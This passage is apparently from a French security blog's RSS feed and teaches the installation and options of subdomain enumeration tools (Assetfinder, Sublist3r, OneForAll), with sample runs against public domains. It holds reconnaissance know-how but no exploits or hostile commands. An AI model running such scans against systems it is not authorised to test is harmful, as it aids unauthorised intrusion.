<li><p>l’option <code>--active</code> ou <code>-nW</code> vérifie les sous-domaines en temps réel. Elle vérifie si les sous-domaines sont actifs et répondent aux requêtes, sinon, ils ne sont pas listées.</p>
</li>
<li><p>l’option <code>-oI</code> ou <code>-ip</code> permet d’inclure les adresses IP des sous-domaines dans le résultat. Cette option ne s’utilise qu’en combinaison avec l’option <code>--active</code> ou <code>-nW</code></p>
</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730746300133/9a589fef-a0de-48d6-a6ba-6811d5ab9b89.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-assetfinder">Assetfinder</h2>
<p>Assetfinder est aussi un outil développé en langage Go, utilisé pour énumérer des sous-domaines associé à un domaine principal. Il utilise des sources comme, certspotter, hackertarget, facebook, virustotal etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/tomnomnom/assetfinder">GitHub</a>.</p>
<p>Pour installer Assetfinder, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/tomnomnom/assetfinder
</code></pre>
<h3 id="heading-options-3">Options</h3>
<ul>
<li><p><code>assetfinder -h</code> : l’option <code>-h</code> permet de lister toutes les options de assetfinder</p>
</li>
<li><p><code>assetfinder -subs-only [SITE.COM] &gt; list.txt</code></p>
<ul>
<li>l’option <code>-subs-only</code> limite la sortie aux sous-domaines du domaine cible. Cette option est la seule disponible pour assetfinder.</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730748576730/b64bfe0d-7523-47d7-97ed-7fbf40eed732.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-sublist3r"><strong>Sublist3r</strong></h2>
<p>Sublist3r est un outil d’énumération de sous domaines en utilisant des moteurs de recherche et d'autres sources en ligne. Il intègre l’outil <a target="_blank" href="https://github.com/TheRook/subbrute">Subbrute</a>, un outil de brute force pour l'énumération de sous-domaines, afin d'augmenter la capacité de trouver plus de sous-domaines. Subbrute utilise une liste de mots améliorée pour tester de manière systématique des sous-domaines potentiels.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/aboul3la/Sublist3r">GitHub</a>.</p>
<p>Pour installer Sublist3r, utilisez la commande suivante:</p>
<pre><code class="lang-python">git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt
</code></pre>
<h3 id="heading-options-4">Options</h3>
<ul>
<li><p><code>python sublist3r.py -h</code> : l’option <code>-h</code> permet de list<a target="_blank" href="https://github.com/TheRook/subbrute">er toute</a>s les options de sublist3r</p>
</li>
<li><p><code>python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt</code></p>
<ul>
<li><p>l’option <code>-d</code> permet de spécifier le domaine cible</p>
</li>
<li><p>l’option <code>-b</code> active le mode brute force; ceci permet de découvrir les sous-domaines</p>
</li>
<li><p>l’option <code>-p</code> spécifie les ports à tester pour vérifier si un sous-domaine est actif sur ces ports.</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier</p>
</li>
</ul>
</li>
<li><p><code>python sublist3r.py -e google,virustotal -v -d [site.com]</code></p>
<ul>
<li><p>l’option <code>-e</code> permet de spécifier le moteur de recherche à utiliser</p>
</li>
<li><p>l’option <code>-v</code> active le mode verbeux, ce qui permet d'afficher plus de détails pendant l'exécution du script et les sous-domaines en temps réel.</p>
</li>
</ul>
</li>
</ul>
<p>La commande ci-dessous exécutée, enumère les sous-domaines de google.com et active le mode verbeux, ce qui permet d’afficher les sous-domaines en temps réel.</p>
<p>La commande recherche les sous-domaines sur plusieurs sources dont Baidu, Yahoo,Google,Bing, SSL Certificates etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947680161/b9251afd-4e84-4196-bdd1-99ab4f68058b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947705826/e38a8163-0c8e-48a8-b14e-10d69196c913.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oneforall">OneForAll</h2>
<p>OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à partir de sources publiques que d’autres outils n’interrogent pas généralement. OneForAll règle le problème de puissance ou encore d’efficacité qu’on peut voir avec d’autres outils.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/shmilylty/OneForAll">GitHub</a>.</p>
<p>Pour installer OneForAll, utilisez les commandes suivantes:</p>
<p>Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.</p>
<pre><code class="lang-python">python -V
pip3 -V
</code></pre>
<p>Clonez le dépôt du projet.</p>
<pre><code class="lang-python">git clone https://github.com/shmilylty/OneForAll.git
</code></pre>
<p>Créez un environnement virtuel pour séparer l’installation de votre environnement python.</p>
<pre><code class="lang-python">virtualenv -p python3 .venv
source .venv/bin/activate
</code></pre>
<p>Installez les dépendances</p>
<pre><code class="lang-python">cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt
</code></pre>
<h3 id="heading-options-5">Options</h3>
<ul>
<li><p><code>python3 oneforall.py -h</code> : cette option permet de lister toutes les options de OneForAll</p>
</li>
<li><p><code>python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run</code></p>
<ul>
<li><p>l’option <code>--target</code> permet de spécifier l’URL ou le domaine à analyser</p>
</li>
<li><p>l’option <code>--brute</code> permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée</p>
</li>
<li><p>l’option <code>--dns</code> permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.</p>
</li>
<li><p>l’option <code>--valid</code> permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.</p>
</li>
</ul>
</li>
<li><p><code>python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run</code></p>
<ul>
<li><p>l’option <code>--targets</code> permet de spécifier une liste de domaines contenue dans un fichier</p>
</li>
<li><p>l’option <code>--takeover</code> permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.</p>
</li>
<li><p>l’option <code>--path</code> spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.</p>
</li>
<li><p>Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier <code>.csv</code> qui répertorie les résultats, dans le dossier <code>/results</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290129863/dd8e94e3-1729-4a26-91eb-92005077424d.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-interpretation-des-resultats">Interprétation des résultats</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731279673339/8f583716-d6db-4520-8505-a765df582355.png" alt class="image--center mx-auto" /></p>
<p>Les résultats de la commande OneForAll sur <code>https://hackerone.com</code> montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module <code>CertInfo</code> a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site <code>dnsgrep.cn</code> a été refusé (statut403) et d’autres informations.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290099020/204d1d6d-7444-43a0-8db8-b01979d7aaee.png" alt class="image--center mx-auto" /></p>
<p>Les serveurs <code>a.ns.hackerone.com</code> et <code>b.ns.hackerone.com</code> ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.</p>
<p>Les sous-domaines trouvés seront répertoriés dans le dossier <code>/results</code> par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:</p>
<pre><code class="lang-python">column -s, -t &lt; hackerone.com.csv | less -<span class="hljs-comment">#2 -N -S</span>
</code></pre>
<ul>
<li><p>L’option <code>-s,</code> (-s suivi de la virgule) spécifie que la virgule ( <strong>,</strong> ) est le délimiteur qui sépare les colonnes dans le fichier csv</p>
</li>
<li><p>L’option <code>-t</code> indique à column de créer un tableau avec des colonnes alignées</p>
</li>
<li><p><code>&lt; hackerone.com.csv</code> permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column</p>
</li>
<li><p><code>less -#2 -N -S</code> permet de paginer la sortie avec <code>less</code>, affiche les numéros de ligne avec <code>-N</code>, permet un défilement horizontal avec <code>-S</code>, et définit l'espacement des tabulations à 2 avec <code>-#2</code>. Vous pouvez quitter l’affichage avec la touche <code>q</code> .</p>
</li>
</ul>
<p>Le fichier avec les résultats avec un affiche standard se présente comme suit:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732226018213/a9a55b8d-66c6-4fa6-a787-9901d650b261.png" alt class="image--center mx-auto" /></p>
<p>On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande <code>column -s, -t &lt; hackerone.com.csv | less -#2 -N -S</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241237226/1f2caa58-61dd-482e-a049-ceb066949a9c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241262762/c63c29e9-ff72-40e2-bc88-12c698f62fec.png" alt class="image--center mx-auto" /></p>
<p>L’énumération de sous-domaines est une étape cruciale dans la collecte d’informations, permettant d’identifier des parties d’un domaine qui pourraient être mal configurées ou vulnérables. Avec des outils comme OneForAll, Subfinder pour une recherche passive, Assetfinder pour sa rapidité, et Sublist3r pour combiner recherche passive et brute force, on a donc des informations précieuses sur l'infrastructure d'un domaine</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item><item><title><![CDATA[OneForAll]]></title><description><![CDATA[OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à p...]]></description><link>https://blog.fikara.io/oneforall</link><guid isPermaLink="true">https://blog.fikara.io/oneforall</guid><category><![CDATA[OneForAll]]></category><category><![CDATA[subdomain enumeration]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[subdomains]]></category><category><![CDATA[map subdomain ]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Fri, 22 Nov 2024 02:50:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732225910900/3f857e38-5663-43b6-994d-2df37c6b94d4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à partir de sources publiques que d’autres outils n’interrogent pas généralement. OneForAll règle le problème de puissance ou encore d’efficacité qu’on peut voir avec d’autres outils.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/shmilylty/OneForAll">GitHub</a>.</p>
<p>Pour installer OneForAll, utilisez les commandes suivantes:</p>
<p>Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.</p>
<pre><code class="lang-python">python -V
pip3 -V
</code></pre>
<p>Clonez le dépôt du projet.</p>
<pre><code class="lang-python">git clone https://github.com/shmilylty/OneForAll.git
</code></pre>
<p>Créez un environnement virtuel pour séparer l’installation de votre environnement python.</p>
<pre><code class="lang-python">virtualenv -p python3 .venv
source .venv/bin/activate
</code></pre>
<p>Installez les dépendances</p>
<pre><code class="lang-python">cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>python3 oneforall.py -h</code> : cette option permet de lister toutes les options de OneForAll</p>
</li>
<li><p><code>python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run</code></p>
<ul>
<li><p>l’option <code>--target</code> permet de spécifier l’URL ou le domaine à analyser</p>
</li>
<li><p>l’option <code>--brute</code> permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée</p>
</li>
<li><p>l’option <code>--dns</code> permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.</p>
</li>
<li><p>l’option <code>--valid</code> permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.</p>
</li>
</ul>
</li>
<li><p><code>python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run</code></p>
<ul>
<li><p>l’option <code>--targets</code> permet de spécifier une liste de domaines contenue dans un fichier</p>
</li>
<li><p>l’option <code>--takeover</code> permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.</p>
</li>
<li><p>l’option <code>--path</code> spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.</p>
</li>
<li><p>Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier <code>.csv</code> qui répertorie les résultats, dans le dossier <code>/results</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290129863/dd8e94e3-1729-4a26-91eb-92005077424d.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-interpretation-des-resultats">Interprétation des résultats</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731279673339/8f583716-d6db-4520-8505-a765df582355.png" alt class="image--center mx-auto" /></p>
<p>Les résultats de la commande OneForAll sur <code>https://hackerone.com</code> montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module <code>CertInfo</code> a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site <code>dnsgrep.cn</code> a été refusé (statut403) et d’autres informations.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290099020/204d1d6d-7444-43a0-8db8-b01979d7aaee.png" alt class="image--center mx-auto" /></p>
<p>Les serveurs <code>a.ns.hackerone.com</code> et <code>b.ns.hackerone.com</code> ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.</p>
<p>Les sous-domaines trouvés seront répertoriés dans le dossier <code>/results</code> par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:</p>
<pre><code class="lang-python">column -s, -t &lt; hackerone.com.csv | less -<span class="hljs-comment">#2 -N -S</span>
</code></pre>
<ul>
<li><p>L’option <code>-s,</code> (-s suivi de la virgule) spécifie que la virgule ( <strong>,</strong> ) est le délimiteur qui sépare les colonnes dans le fichier csv</p>
</li>
<li><p>L’option <code>-t</code> indique à column de créer un tableau avec des colonnes alignées</p>
</li>
<li><p><code>&lt; hackerone.com.csv</code> permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column</p>
</li>
<li><p><code>less -#2 -N -S</code> permet de paginer la sortie avec <code>less</code>, affiche les numéros de ligne avec <code>-N</code>, permet un défilement horizontal avec <code>-S</code>, et définit l'espacement des tabulations à 2 avec <code>-#2</code>. Vous pouvez quitter l’affichage avec la touche <code>q</code> .</p>
</li>
</ul>
<p>Le fichier avec les résultats avec un affiche standard se présente comme suit:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732226018213/a9a55b8d-66c6-4fa6-a787-9901d650b261.png" alt class="image--center mx-auto" /></p>
<p>On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande <code>column -s, -t &lt; hackerone.com.csv | less -#2 -N -S</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241237226/1f2caa58-61dd-482e-a049-ceb066949a9c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241262762/c63c29e9-ff72-40e2-bc88-12c698f62fec.png" alt class="image--center mx-auto" /></p>
<p>OneForAll est un outil essentiel en matière d’énumération de sous-domaines de part sa capacité à collecter le sous-domaines de manière rapide et précise.</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de cet outil doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item></channel></rss>